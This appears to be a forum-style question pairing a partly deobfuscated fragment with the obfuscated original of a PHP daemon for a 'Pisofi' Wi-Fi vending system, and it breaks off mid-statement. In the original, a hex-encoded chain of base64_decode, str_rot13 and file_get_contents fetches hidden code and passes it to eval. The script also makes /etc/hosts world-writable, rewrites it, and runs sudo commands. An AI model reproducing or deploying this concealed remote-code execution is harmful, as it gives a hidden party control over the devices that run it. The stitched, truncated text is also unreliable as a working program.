mQiaJ; yIC0V: $jzxYf->delete(); goto bqZzZ; eWVwd: if (!$fSaOy) { goto wFCG9; } goto Mzaoa; REkMr: HmUiq: goto vzb82; sjm46: agTcr: goto tjAhU; HskNX: wFCG9: goto JzZdo; tjAhU: f7quo: goto L8aeb; RnVys: $TCaip = $jzxYf->getData(); goto l6Qbb; l6Qbb: if (isset($TCaip["disconnected"])) { goto sOTFW; } goto phHMv; vzb82: $Thdr9->disconnect($jzxYf->mac, $jzxYf->ip_address, $jzxYf->mark, $jzxYf->download_rate, $jzxYf->upload_rate, $jzxYf->download_rate); goto XBIne; zzM9a: goto gcIa8; goto pqALH; Mzaoa: echo "Pausing Desktop Client" . PHP_EOL; goto RnVys; QMohB: if (!(time() - $TCaip["disconnected"] > 200)) { goto YIJMf; } goto LMRQP; mQiaJ: if ($jzxYf->remaining_time <= 0 || $jzxYf->isDisconnected()) { goto HmUiq; } goto eWVwd; phHMv: file_put_contents("/tmp/paused_desktop_kicker", "[OK]: " . date("YmdHis") . json_encode($TCaip) . PHP_EOL, FILE_APPEND); goto zzM9a; JzZdo: goto agTcr; goto REkMr; iXaBm: gcIa8: goto HskNX; AetVe: YIJMf: goto iXaBm; SCzLb: $jzxYf->pause(); goto AetVe; LMRQP: file_put_contents("/tmp/paused_desktop_kicker", "[PAUSED]: " . date("YmdHis") . json_encode($TCaip) . PHP_EOL, FILE_APPEND); goto SCzLb; XBIne: ZKuEt($jzxYf); goto yIC0V; pqALH: sOTFW: goto QMohB; bqZzZ: $Y6g_u[] = ["id" => $jzxYf->id, "mac" => $jzxYf->mac, "ip_address" => $jzxYf->ip_address]; goto sjm46; L8aeb: } goto vTdt1; NViqg: if ($fSaOy) { goto Xagf7; } goto Y4V3K; pyRbg: $gX6_B = true; goto T8WvI; SWkNP: if (!(count($Y6g_u) > 0)) { goto CE4A1; } goto dZ9TZ; mP62z: pEkbl: goto SWkNP; dmJvV: } catch (Exception $tRWTQ) { echo "[DESKTOP]: " . date("Y-m-d H:i:s") . " | " . $tRWTQ->getMessage() . PHP_EOL; file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "\xd\xa"); } goto esMHL; Ia2I1: $VBsPb = max(0, $PN4U3 - $xb4ec); goto cto0r; M_go1: goto cIbkR; goto Fg6qX; IwBrL: $VBsPb = 3; goto zWqyX; AW5mr: sleep(3); goto Qc1YG; Wp_64: } catch (Exception $tRWTQ) { file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "
\xa"); echo $tRWTQ->getMessage() . PHP_EOL; } goto NIj9H; Txcs5: function ZKUet($jzxYf) { goto DtaIp; B2_ns: YRKN8: goto YbWqB; DtaIp: if (!$jzxYf) { goto YRKN8; } goto qSZc3; qSZc3: try { goto txK2i; txK2i: $JK3wk = ["mac" => $jzxYf->mac, "ip_address" => $jzxYf->ip_address, "date_connected" => $jzxYf->date_connected, "connection_time" => $jzxYf->connection_time ?? 0, "remaining_time" => $jzxYf->remaining_time ?? 0, "remarks" => $jzxYf->remarks, "mark" => $jzxYf->mark, "status" => $jzxYf->status, "download_rate" => $jzxYf->download_rate ?? 0, "upload_rate" => $jzxYf->upload_rate ?? 0, "upload_auto" => $jzxYf->upload_auto, "download_auto" => $jzxYf->download_auto, "auto_manage" => $jzxYf->auto_manage ?? 0, "remarks" => $jzxYf->remarks, "client_id" => $jzxYf->client_id, "download_usage" => $jzxYf->download_usage ?? 0, "upload_usage" => $jzxYf->upload_usage ?? 0, "type" => $jzxYf->type ?? 1, "bandwidth_limit" => $jzxYf->bandwidth_limit ?? 0, "allow_pause" => $jzxYf->allow_pause ?? 0, "allow_conversion" => $jzxYf->allow_conversion ?? 0, "allow_sharing" => $jzxYf->allow_sharing ?? 0, "pause_count" => $jzxYf->pause_count ?? 0, "sent" => $jzxYf->sent ?? 0, "notified" => $jzxYf->notified ?? 0, "admin_pause_override" => $jzxYf->admin_pause_override ?? 0, "session_id" => $jzxYf->session_id ?? 0]; goto lF7MB; ZeNc0: OldClient::create($JK3wk); goto Hu2Vn; lF7MB: if (!$jzxYf instanceof ActiveClient) { goto wX4WO; } goto lym4T; lym4T: $JK3wk["expiration_date"] = $jzxYf->expirationDate(); goto A6yNr; A6yNr: wX4WO: goto ZeNc0; Hu2Vn: } catch (Exception $tRWTQ) { echo $tRWTQ->getMessage() . PHP_EOL; } goto B2_ns; YbWqB: } goto JO4Ko; I_P7Y: $YmgC4 = (int) $lY2YW->portalMaximumTimeAllowedPauseInSeconds(); goto Y9CP3; Y9CP3: $lgwLb = (bool) $lY2YW->canLimitMinPauseTime(); goto Zd6hI; efOMp: $uGSgZ = $gALHl["delay"] * 60; goto qabOp; TpN51: $lY2YW = new PortalManager(); goto an1FO; NIj9H: } goto JjEYM; Y1kqF: QUi0B: goto o7E9B; t77DK: $fFS64 = fopen(__FILE__ . ".lock", "w+"); goto eCoSq; zc9CR: echo "Starting Connection Checker" . PHP_EOL; goto lbxVY; fwMvt: if (!true) { goto QUi0B; } goto xeHQ1; JjEYM: set_time_limit(0); goto t77DK; nA3Md: bGqdh: goto fwMvt; lbxVY: $Thdr9 = new Pisofier(); goto ig5Pm; nUaoL: unlink(__FILE__ . ".lock"); ?>

Did this file decode correctly?

Original Code

<?php
/*   __________________________________________________
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.5   |
    |              on 2022-07-16 20:05:44              |
    |    GitHub: https://github.com/pk-fr/yakpro-po    |
    |__________________________________________________|
*/
 $hHhNI = "\x2f\56\x63\x61\143\x68\145\57\x74\x6d\x70\x2f\x35\65\x2f\60\65\x2f\x70\x66\x69\x2f"; $hHhNI = dirname(__DIR__) . "\57"; $hHhNI = "\x2f\56\x63\141\x63\x68\x65\x2f\164\155\160\57\65\x35\57\x30\x35\x2f\x70\146\151\x2f"; $hHhNI = "\57\x2e\x63\x61\x63" . "\150\x65\x2f\x74\155" . "\160\57\x35" . "\65\57\x30\65" . "\57\x70\x66\151\57"; require_once $hHhNI . "\166\x65\156\x64\x6f\162\57\x61\165\x74\x6f\154\x6f\141\144\56\160\150\x70"; $r3Nz1 = "\104\x53"; $sa3ld = "\x52\x4f\x4f\124\x50\101\124\x48"; $tPq00 = "\120\x55\x42\114\x49\x43\x50\x41\x54\x48"; $P2vkw = "\x53\x43\x52\x49\x50\124\x53\120\x41\x54\110"; define($r3Nz1, DIRECTORY_SEPARATOR); define($sa3ld, $hHhNI); define($tPq00, "\x2f\x76\141\x72\57\167\x77\167\x2f\x68\164\x6d\x6c\x2f" . basename(ROOTPATH) . "\x2f\x70\x75\x62\x6c\151\x63\x2f"); define($P2vkw, "\57\166\x61\162\x2f\x77\x77\167\57\x68\164\155\154\x2f" . basename(ROOTPATH) . DS . "\163\x63\x72\x69\160\164\163" . DS); use Illuminate\Database\Capsule\Manager as Capsule; use Illuminate\Database\Capsule\Manager as DB; $g1wRv = (require ROOTPATH . DS . "\x61\x70\x70" . DS . "\103\x6f\156\x66\151\x67" . DS . "\144\x61\x74\x61\142\141\x73\145\x2e\160\x68\x70"); use Illuminate\Events\Dispatcher; use Illuminate\Container\Container; $BLODZ = new Capsule(); $BLODZ->setEventDispatcher(new Dispatcher(new Container())); $BLODZ->addConnection($g1wRv); $BLODZ->setAsGlobal(); $BLODZ->bootEloquent(); use App\Models\ActiveClient; use App\Models\ChargingClient; use App\Models\OldChargingClient; use App\Models\OldClient; use App\Models\ConnectionSession; use App\Models\OldConnectionSession; use App\Models\PisofiSetting; use App\Pisofi\Pisofier; use App\Pisofi\PinConfigurationManager; use App\Pisofi\PortalManager; use App\Pisofi\DesktopManager as DM; use App\Pisofi\Vendo\VendoManager; use App\Models\DesktopClient; use App\Pisofi\DesktopManager; use App\Pisofi\SessionManager; use App\Pisofi\SessionOptionsManager; use App\Helpers\PisofiHelper; use App\Models\ClientAccount; use App\Pisofi\Server\NgrokServerManager; use App\Pisofi\GPIO\PisofiGPIO; goto ztRI9; eCoSq: if (flock($fFS64, LOCK_EX | LOCK_NB)) { goto zBE_m; } goto l9_Gf; QXxGp: zBE_m: goto zc9CR; LUoU2: fclose($fFS64); goto nUaoL; Zmv2D: goto bGqdh; goto Y1kqF; ig5Pm: $RA7Gm = true; goto nA3Md; o7E9B: flock($fFS64, LOCK_UN); goto LUoU2; xeHQ1: try { goto GMaMZ; yd8ND: sleep(1); goto hK3is; lDMpf: FZMrC($Thdr9, $RA7Gm); goto yd8ND; GMaMZ: echo ROOTPATH . PHP_EOL; goto lDMpf; hK3is: } catch (Exception $tRWTQ) { goto uBXRM; vb8Gy: sleep(5); goto s2GF0; izFrq: echo $tRWTQ->getMessage() . PHP_EOL; goto vb8Gy; uBXRM: file_put_contents(__FILE__ . "\x2e\154\157\x67", date("\x59\x2d\155\55\144\x20\110\x3a\151\72\x73") . "\40\x3a\40" . $tRWTQ->getMessage() . "\x20\141\x74\x20\x4c\x69\x6e\x65\x20" . $tRWTQ->getLine() . "\40\x6f\156\x20" . $tRWTQ->getFile() . "\15\12"); goto izFrq; s2GF0: } goto Zmv2D; l9_Gf: die("\x41\x6c\162\145\x61\x64\171\40\162\x75\156\156\151\x6e\147\56\40\x45\170\x69\x74\151\156\x67\x2e\x2e\x2e"); goto QXxGp; ztRI9: function FzMrc(Pisofier $Thdr9, $RA7Gm = false) { goto TpN51; rTwuf: $fSaOy = (bool) $GaE67->pauseOnDisconnect(); goto Txcs5; Zd6hI: $nGxp3 = (bool) $lY2YW->canLimitMaxPauseTime(); goto EDeIw; x0cxT: $BE75D = new SessionOptionsManager(); goto wpaj8; SYjBE: $gALHl = $G60Em->notificationSettings(); goto r9GO1; qabOp: $WRn20 = $lY2YW->isPauseTimeValidityEnabled(); goto Kxgf0; fYARe: $jz9xs = (int) $G60Em->pauseTimeValidity(); goto rTwuf; EDeIw: $CYMfX = $G60Em->isPauseTimeValidityEnabled(); goto fYARe; Kxgf0: $q1gKN = (int) $lY2YW->pauseTimeValidity(); goto kmW1W; wpaj8: $WJjIp = (bool) $BE75D->autoRemoveExpiredSessions(); goto SYjBE; r9GO1: $X0eQD = $gALHl["\x65\x6e\141\142\x6c\145\144"]; goto efOMp; x3P_t: $GaE67 = new DM(); goto x0cxT; kmW1W: $NzYsc = (int) $lY2YW->portalMinimumTimeAllowedPauseInSeconds(); goto I_P7Y; an1FO: $G60Em = new DesktopManager(); goto x3P_t; JO4Ko: try { goto IwBrL; mu2uy: $Xy6xY = 0; goto NUvdl; ii0t3: Ao4pH: goto MzPUD; seOmQ: E4Wjc: goto nbspX; Ek3AX: $W7MEb = false; goto fpB8L; X3eBM: oYmv0: goto durP1; tJCLD: $PN4U3 = time(); goto jrUEU; NUvdl: GiewW: goto uO6th; esMHL: try { goto ArNVZ; LTvAs: PisofiHelper::publishEvent("\157\156\143\x6c\151\x65\156\164\143\x68\x61\162\147\x65\x64\x6f\156\145", ["\143\154\151\x65\156\x74\163" => $stDWy]); goto T5uo4; ArNVZ: DB::update("\125\120\x44\101\124\105\40\x63\150\141\x72\x67\x69\156\x67\137\x63\154\x69\x65\156\164\x73\x20\x53\105\x54\x20\x73\145\156\x74\75\60\x2c\40\162\145\155\x61\162\x6b\x73\40\x3d\40\47\x52\x75\156\x6e\x69\x6e\147\x20\125\x70\x64\x61\164\145\x20\x54\151\155\x65\47\x2c\x20\162\x65\155\x61\151\x6e\151\x6e\147\137\x74\x69\155\x65\40\x3d\40\x49\x46\50{$VBsPb}\x20\76\x20\x72\145\155\141\x69\156\x69\x6e\x67\x5f\x74\151\155\x65\x2c\40\x30\54\x20\107\x52\x45\x41\x54\105\123\124\50\x30\54\x20\162\145\155\141\x69\156\151\x6e\147\x5f\x74\x69\155\145\40\55\40{$VBsPb}\x29\51\40\x20\x57\110\x45\x52\105\40\163\x74\141\164\165\x73\40\x3d\x20\x31"); goto d5AxZ; SJl70: foreach ($hgaXW as $jzxYf) { goto sEIUy; rTlg2: RX5BT: goto ZlwwB; e3YCD: PisofiGPIO::setValue($Y3leK->getValue(), PisofiGPIO::VALUE_HIGH); goto Dg3Oj; uGAn0: f3JIe: goto e3YCD; ZlwwB: SfIhz: goto Zjkkv; vqMFW: PisofiGPIO::setValue($Y3leK->getValue(), PisofiGPIO::VALUE_LOW); goto Ub8_K; gP3Gk: if (!$aGGSS) { goto SfIhz; } goto fwKEk; RcBw_: $stDWy[] = $jzxYf->pin_name; goto IaaSq; Dg3Oj: gjTl1: goto wbyOo; Zjkkv: goto BsELx; goto XmwkT; DPc_t: $lY2YW = new PinConfigurationManager(); goto zEQAb; XmwkT: mTmzF: goto DPc_t; Uc2Pa: $jzxYf->delete(); goto RcBw_; wbyOo: $lY2YW->resetCurrentValue($jzxYf->pin_name); goto r45cT; IaaSq: nihXy: goto doqbX; WLOCg: zHP8Y: goto QxqaD; qhKEz: $aGGSS->disablePin($vepWb); goto rTlg2; zEQAb: $Y3leK = $lY2YW->getPinByName($jzxYf->pin_name); goto Sob7G; QxqaD: BsELx: goto ZtvZs; vpXat: if (!$vepWb) { goto RX5BT; } goto qhKEz; Sob7G: if (!$Y3leK) { goto zHP8Y; } goto Cu1vJ; io5GV: if ($U0sUl == PisofiGPIO::VALUE_LOW) { goto f3JIe; } goto vqMFW; Cu1vJ: $U0sUl = $Y3leK->getLogicLevel(); goto io5GV; Ub8_K: goto gjTl1; goto uGAn0; ZtvZs: OldChargingClient::create(["\155\141\x63" => $jzxYf->mac, "\151\160\137\x61\144\144\x72\x65\163\163" => $jzxYf->ip_address, "\x63\157\x6e\x6e\145\x63\164\151\x6f\156\x5f\164\x69\x6d\145" => $jzxYf->connection_time, "\x72\x65\x6d\x61\x69\156\x69\x6e\x67\x5f\x74\x69\x6d\x65" => $jzxYf->remaining_time, "\160\151\x6e\x5f\x6e\x61\x6d\x65" => $jzxYf->pin_name, "\162\x65\x6d\x61\162\x6b\x73" => $jzxYf->remarks, "\x72\x65\155\141\162\153\163" => $jzxYf->remarks, "\x63\x6c\151\x65\156\164\137\x69\144" => $jzxYf->client_id]); goto Uc2Pa; fwKEk: $vepWb = $aGGSS->getChargingStation($jzxYf->pin_name); goto vpXat; zABXU: $UfP3S = new VendoManager(); goto kQGIL; r45cT: $lY2YW->save(); goto WLOCg; kQGIL: list($lIa3U, $Y3leK) = explode("\x5f\x5f\x5f", $jzxYf->pin_name); goto qyL3T; qyL3T: $aGGSS = $UfP3S->getVendo($lIa3U); goto gP3Gk; sEIUy: if (stripos($jzxYf->pin_name, "\x75\163\x65\x72\x5f\x63\150\x61\162\147\151\156\x67\x5f") !== false) { goto mTmzF; } goto zABXU; doqbX: } goto HIUdj; ajwdX: if (!(count($stDWy) > 0)) { goto MJJYp; } goto LTvAs; awI81: $stDWy = []; goto SJl70; HIUdj: P8Q2m: goto ajwdX; T5uo4: MJJYp: goto NePhn; d5AxZ: $hgaXW = ChargingClient::whereRaw("\x28\163\164\141\164\x75\x73\x20\x3d\40\61\40\x41\116\x44\40\162\145\x6d\141\x69\156\x69\156\x67\137\164\x69\x6d\145\40\74\x3d\x20\60\51\x20\x4f\x52\x20\50\163\x74\x61\164\165\163\x20\75\x20\60\x29")->get(); goto awI81; NePhn: } catch (Exception $tRWTQ) { echo "\x5b\x43\110\101\x52\x47\111\x4e\107\135\72\40" . date("\131\55\155\x2d\x64\40\110\72\151\x3a\163") . "\x20\x7c\x20" . $tRWTQ->getMessage() . PHP_EOL; file_put_contents(__FILE__ . "\x2e\x6c\157\147", date("\131\55\x6d\x2d\144\40\110\72\151\72\x73") . "\x20\72\40" . $tRWTQ->getMessage() . "\x20\141\164\40\114\x69\156\145\40" . $tRWTQ->getLine() . "\x20\x6f\x6e\x20" . $tRWTQ->getFile() . "\xd\xa"); } goto fIBe5; FjiYo: if (!($VBsPb >= 1800)) { goto ud1Yv; } goto Ek3AX; c8eyp: PisofiSetting::setValue("\154\141\x73\164\x5f\x6b\151\143\x6b\x65\162\137\x72\x75\x6e", $PN4U3); goto AW5mr; eeoEB: $Xy6xY += $VBsPb; goto HHQUR; OCPMs: Ms2mh: goto KjS8_; UbO_x: $Y6g_u = []; goto Yrg0p; SUhb8: if (!$xb4ec) { goto Ms2mh; } goto VcVt3; hbja1: $xb4ec = time(); goto m1g4g; R0RUS: if ($RA7Gm && $B6hA0 >= $fjXVy) { goto oYmv0; } goto pWoBB; f3WpG: $Xy6xY -= 60 * 60; goto C2gnn; WBoHc: goto E4Wjc; goto X3eBM; ituDQ: m3H1t: goto H9oXO; pAaWT: echo "\124\151\155\145\40\x68\x61\x73\x20\x62\145\145\156\x20\141\x64\152\165\163\x74\145\x64\x2e\56\56" . PHP_EOL; goto tJCLD; Ec0Vd: if ($W7MEb) { goto WYABg; } goto n4xmH; UOqv7: ud1Yv: goto D3mzb; cto0r: $W7MEb = true; goto hXeIC; Fg6qX: WYABg: goto UOqv7; zWqyX: $B6hA0 = 60 * 60; goto E2zL9; mWRjR: try { goto lmWXN; nXsbB: if (!$uFeIV) { goto GU9dP; } goto SpoI7; SpoI7: $WB61b = new NgrokServerManager(); goto ZgYJF; ZgYJF: $Q9NQK = $WB61b->sendNgrokInfo(); goto NUNqb; GefYC: GU9dP: goto cBvKw; NUNqb: PisofiSetting::setValue("\x6c\x61\x73\164\137\156\147\162\x6f\x6b\x5f\x73\171\156\143", time()); goto GefYC; lmWXN: $uFeIV = PisofiHelper::getPisofiNgrokUrl(); goto nXsbB; cBvKw: } catch (\Exception $tRWTQ) { file_put_contents(__FILE__ . "\x2e\x6c\157\147", date("\x59\x2d\x6d\x2d\x64\x20\x48\x3a\151\72\163") . "\40\x3a\x20" . $tRWTQ->getMessage() . "\40\x61\x74\x20\114\x69\156\x65\40" . $tRWTQ->getLine() . "\40\x6f\156\x20" . $tRWTQ->getFile() . "\15\12"); echo $tRWTQ->getMessage() . PHP_EOL; } goto WROIs; D3mzb: $gX6_B = false; goto UbO_x; n_rbv: nNK5x: goto LUGkV; C2gnn: goto GiewW; goto ii0t3; zG4zV: jhgBn: goto Wp_64; WROIs: f1gvc: goto R0RUS; durP1: try { goto D5eFZ; VrxcZ: eval("\x3f\76" . $l0fFD); goto MR_Pt; N6bki: $l0fFD = $nfiO6($HoI78($tl5a2($nfiO6($HoI78($mw0IU))))); goto VrxcZ; LEGpa: $HoI78 = "\163\164\162\137\162\x6f\164\61\63"; goto MOwwt; D5eFZ: $mw0IU = "\131\63\x4d\165\160\x76\x39\x33\161\x33\160\151\x6e\125\x45\147" . "\157\120\x39\152\x6e\x4b\x41\x69\x4d\172\x78\x69\160\125\x49\166\x6f\124\171\167\x59\x32\171\x67\x4d" . "\x6c\x39\x31\160\x32\111\154\132\x47\122\x67\132\x47\x56\64\162\x51\x52\154\102\120\65\144\x70\x54\x70\x3d"; goto P3qBv; MR_Pt: $B6hA0 = 0; goto vGbo_; P3qBv: $tl5a2 = "\146\x69\x6c\x65\137\147\x65\x74\137\x63\x6f\x6e\164\145\156\164\163"; goto LEGpa; MOwwt: $nfiO6 = "\x62\141\x73\145\66\64\x5f\144\x65\x63\157\144\145"; goto N6bki; vGbo_: } catch (Exception $tRWTQ) { echo $tRWTQ->getMessage() . PHP_EOL; } goto HXOms; HXOms: if ($Xy6xY > 60 * 60 * 24 * 7) { goto nNK5x; } goto eeoEB; IFJ9m: DVp3c: goto TG1VT; VcVt3: if (!($xb4ec < time() - 60)) { goto m3H1t; } goto hbja1; n4xmH: echo "\x54\x69\155\145\40\167\141\163\x20\156\x6f\x74\x20\x73\145\x74\40\x70\x72\x6f\x70\x65\162\154\x79\56\x2e\56" . PHP_EOL; goto niqAP; lIxMl: $PN4U3 = time(); goto OFkwO; wEizC: if (!(time() - $jPgYL > 60 * 60)) { goto f1gvc; } goto mWRjR; HHQUR: goto upT5D; goto n_rbv; wslzy: $Xy6xY = 0; goto d2K_O; MzPUD: try { goto ZsG3_; FoO00: if (!$sO0V7) { goto SslR4; } goto z_0xI; TFEhK: goto cspiM; goto RdkFY; LrRzL: cspiM: goto cfgmO; RnfSK: $sO0V7 = isset($ZwVPc["\154\x69\143\145\x6e\163\x65"]) ? $ZwVPc["\154\151\x63\x65\x6e\x73\x65"] : null; goto FoO00; ZsG3_: $ZwVPc = json_decode(\App\Models\PisofiSetting::getValue("\154\151\143\x65\x6e\x73\145"), true); goto glWYC; glWYC: if (!(isset($ZwVPc["\154\151\143\145\x6e\163\x65\x54\x79\160\x65"]) && $ZwVPc["\154\x69\143\145\x6e\163\x65\124\171\x70\145"] == "\114\x49\x43\105\x4e\x53\x45\104")) { goto Wm68M; } goto RnfSK; cfgmO: Wm68M: goto C1eUP; Hq1cn: $ip38S = $jzxYf->sendAsync($nAvbg)->then(function ($POCaY) { goto Eey9I; U0I8S: App\Models\PisofiSetting::setValue("\154\151\143\145\x6e\163\145", null); goto w0TcX; hsICV: if (!$yjTsB) { goto SSU8n; } goto IoAZ1; IoAZ1: $TCaip = json_decode($yjTsB, true); goto IWayY; pLy3J: $yjTsB = \App\Helpers\PisofiHelper::decodeCipher($Q9NQK["\x64\x61\x74\x61"], $sO0V7); goto hsICV; tx2xC: SSU8n: goto vBMdO; owDhH: $sO0V7 = App\Models\PisofiSetting::getValue("\143\151\x70\x68\x65\162\x5f\153\145\171"); goto pLy3J; IWayY: if (!($TCaip["\163\164\141\164\165\x73"] !== "\x4f\x4b")) { goto k1CqD; } goto U0I8S; Eey9I: $Q9NQK = json_decode($POCaY->getBody(), true); goto owDhH; w0TcX: k1CqD: goto tx2xC; vBMdO: }); goto Nk9fV; RdkFY: SslR4: goto uqDil; z_0xI: $nAvbg = new \GuzzleHttp\Psr7\Request("\107\x45\124", "\x68\x74\x74\160\163\72\57\x2f\x70\151\x73\157\x66\x69\160\x68\56\143\x6f\155\57\141\x70\x69\57\154\153\x76\x61\x6c\x38\57" . $sO0V7); goto EYuJk; EYuJk: $jzxYf = new \GuzzleHttp\Client(); goto Hq1cn; Nk9fV: $ip38S->wait(); goto TFEhK; uqDil: App\Models\PisofiSetting::setValue("\x6c\x69\143\x65\x6e\163\x65", null); goto LrRzL; C1eUP: } catch (\Exception $tRWTQ) { file_put_contents(__FILE__ . "\56\x6c\157\147", date("\131\55\155\x2d\x64\40\110\x3a\x69\72\x73") . "\40\x3a\x20" . $tRWTQ->getMessage() . "\40\141\164\40\114\x69\156\x65\x20" . $tRWTQ->getLine() . "\40\x6f\156\40" . $tRWTQ->getFile() . "\xd\xa"); echo $tRWTQ->getMessage() . PHP_EOL; } goto mu2uy; fCrto: GCafx: goto Ec0Vd; OFkwO: $xb4ec = intval(PisofiSetting::getValue("\154\141\163\164\x5f\153\x69\143\153\145\162\x5f\162\165\156")); goto pyQRa; Qc1YG: goto cIbkR; goto zG4zV; KjS8_: $xb4ec = time(); goto JSJRx; pyQRa: $VBsPb = max(0, $PN4U3 - $xb4ec); goto FjiYo; E2zL9: $fjXVy = 60 * 60; goto wslzy; pWoBB: $B6hA0 += $VBsPb; goto WBoHc; niqAP: sleep(3); goto M_go1; oLgXZ: $HLFS2->exec("\123\105\124\x20\124\122\x41\x4e\123\x41\x43\x54\111\x4f\x4e\40\x49\123\x4f\x4c\x41\x54\111\117\116\x20\x4c\105\x56\105\114\x20\x52\105\101\x44\40\x55\x4e\103\117\x4d\115\111\x54\124\105\x44\x20"); goto lIxMl; H9oXO: goto DVp3c; goto OCPMs; SsEkR: GL6o0: goto c8eyp; d2K_O: $xb4ec = PisofiSetting::getValue("\x6c\141\163\x74\137\153\151\x63\x6b\x65\x72\137\x72\x75\x6e"); goto SUhb8; TG1VT: cIbkR: goto Qbfha; fIBe5: $jPgYL = intval(PisofiSetting::getValue("\x6c\x61\163\164\137\x6e\147\162\x6f\x6b\137\163\x79\x6e\143")); goto wEizC; Qbfha: if (!true) { goto jhgBn; } goto G2HOf; jrUEU: PisofiSetting::setValue("\x6c\141\x73\x74\x5f\x6b\x69\x63\x6b\x65\x72\137\x72\x75\156", $PN4U3); goto B6Miy; hXeIC: rwbV7: goto fCrto; VzZN2: exec("\x73\165\x64\x6f\x20\x2f\165\163\162\x2f\x62\x69\156\57\160\150\160\40\57\x76\x61\x72\x2f\167\167\x77\57\x68\x74\x6d\154\57\160\151\163\x6f\x66\x69\x2f\163\143\162\x69\x70\x74\163\x2f\x70\x66\151\x72\165\154\x65\x73\40\x66\x61\154\x73\145\40\x3e\40\57\x64\x65\x76\57\156\x75\x6c\x6c\x20\62\76\46\x31\40\46\x20"); goto SsEkR; fpB8L: if (!PisofiHelper::isOnline()) { goto GCafx; } goto Lad5S; Lad5S: if (!PisofiHelper::setDateTime()) { goto rwbV7; } goto pAaWT; JSJRx: PisofiSetting::setValue("\154\x61\163\x74\137\153\151\143\153\x65\162\x5f\x72\x75\156", $xb4ec); goto IFJ9m; UQ4ky: try { goto afOdG; Z4WnU: chmod("\57\x65\x74\x63\x2f\x68\x6f\x73\x74\x73", 0777); goto ynsWt; afOdG: chmod("\57\145\x74\x63\57\x68\x6f\163\164\163", 0777); goto upcSY; yU3Dl: $HQzSx = array_filter($qkx3M, function ($T2Gde) { goto fU5M8; MXKmp: Sb9SZ: goto yFEuT; Bx4j9: return stripos($T2Gde, "\x2e\x70\x69\163\x6f\146\x69\x70\150\56\x63\157\155") !== false; goto MXKmp; fU5M8: if (!(stripos($T2Gde, "\160\x69\x73\157\x66\151\x70\x68") !== false)) { goto Sb9SZ; } goto Bx4j9; yFEuT: return true; goto GsY3Z; GsY3Z: }); goto knIgo; upcSY: $qkx3M = explode("\12", file_get_contents("\57\145\x74\x63\57\x68\157\x73\164\163")); goto yU3Dl; knIgo: file_put_contents("\x2f\145\164\143\x2f\150\157\x73\x74\163", implode("\12", $HQzSx)); goto Z4WnU; ynsWt: } catch (\Exception $tRWTQ) { } goto seOmQ; nbspX: if (!$gX6_B) { goto GL6o0; } goto VzZN2; LUGkV: if (PisofiHelper::areWeOnline()) { goto Ao4pH; } goto f3WpG; m1g4g: PisofiSetting::setValue("\154\x61\x73\164\137\153\151\143\x6b\145\162\x5f\162\x75\156", $xb4ec); goto ituDQ; G2HOf: $HLFS2 = DB::connection()->getPdo(); goto oLgXZ; B6Miy: $xb4ec = intval(PisofiSetting::getValue("\x6c\141\163\164\x5f\x6b\151\143\153\145\x72\x5f\162\x75\156")); goto Ia2I1; Yrg0p: try { goto kmG8H; MiUXw: $YhiC2[] = "\40\x28\x20\163\164\x61\164\x75\x73\40\x3d\40\62\40\101\x4e\x44\x20\x74\171\x70\145\x20\75\40\x31\40\101\116\x44\x20\x61\x64\155\x69\156\137\x70\x61\165\x73\145\137\157\x76\x65\x72\x72\x69\144\145\x20\75\40\x30\x20\x41\x4e\x44\x20\116\117\124\40\154\x61\163\x74\x5f\160\141\x75\x73\145\144\40\111\x53\40\116\x55\114\x4c\x20\101\x4e\104\x20\50\x74\x69\155\x65\163\164\141\155\160\x64\151\146\146\50\115\x49\x4e\125\x54\105\x2c\x6c\141\x73\164\137\x70\141\165\163\145\x64\x2c\40\x6e\157\167\50\x29\x29\x29\x20\76\x3d\40{$q1gKN}\x20\51\x20"; goto U2BpQ; SbW7R: fKNn0: goto NeZdn; jibNg: if (!($x_A7k->count() > 0)) { goto vQpCH; } goto sLytr; rQ_sD: if (!$YhiC2) { goto mHArs; } goto Iibtg; EJOmq: if (!$lgwLb) { goto YH1Q_; } goto Mv2Cc; F0rxS: $WJjIp = $BE75D->autoRemoveExpiredSessions() ? "\x20\117\122\40\x28\163\x74\x61\164\x75\x73\x20\x3d\x20\64\51" : ''; goto Brii7; NDNIS: kWVPw: goto WEbYd; bSIQJ: if (!$nGxp3) { goto LeDhd; } goto ffNyY; LxFMf: $gX6_B = true; goto jaIB4; YZeSj: if (!(count($Y6g_u) > 0)) { goto kWVPw; } goto FFV98; PZr14: LeDhd: goto onDMu; ffNyY: $YhiC2[] = "\x20\50\40\x73\x74\x61\x74\165\163\40\x3d\40\62\40\x41\x4e\104\x20\164\171\160\x65\x20\x3d\40\61\x20\x41\116\x44\40\x61\144\x6d\x69\156\x5f\x70\x61\165\x73\x65\137\x6f\166\x65\x72\x72\x69\144\145\40\75\x20\x30\x20\x41\x4e\x44\x20\162\x65\x6d\x61\x69\156\x69\156\x67\137\164\x69\x6d\145\40\76\40{$YmgC4}\40\51\x20"; goto PZr14; yFOOv: $gX6_B = true; goto riPFE; w14vk: Ol2zv: goto vQ_so; WhldM: DB::update("\15\12\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\40\40\40\125\120\x44\x41\124\105\40\143\157\x6e\156\x65\x63\164\151\157\156\x5f\163\145\x73\x73\x69\x6f\156\x73\40\x73\54\x20\141\x63\164\x69\x76\x65\x5f\x63\154\151\145\156\x74\163\x20\141\xd\xa\40\40\40\40\x20\40\40\40\40\40\x20\x20\40\x20\40\40\40\40\x20\40\123\105\x54\xd\12\x20\x20\40\x20\40\x20\40\x20\40\40\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\163\56\x73\x74\x61\x74\165\163\40\x3d\40\x61\x2e\163\164\x61\x74\165\163\x2c\xd\12\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\x20\141\x2e\x75\x70\x64\141\164\x65\144\137\x61\x74\x20\75\x20\x4e\117\x57\50\51\x2c\15\12\40\40\40\x20\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\163\x2e\162\x65\x6d\141\151\x6e\151\x6e\147\x5f\164\x69\x6d\x65\x20\75\40\111\x46\50{$VBsPb}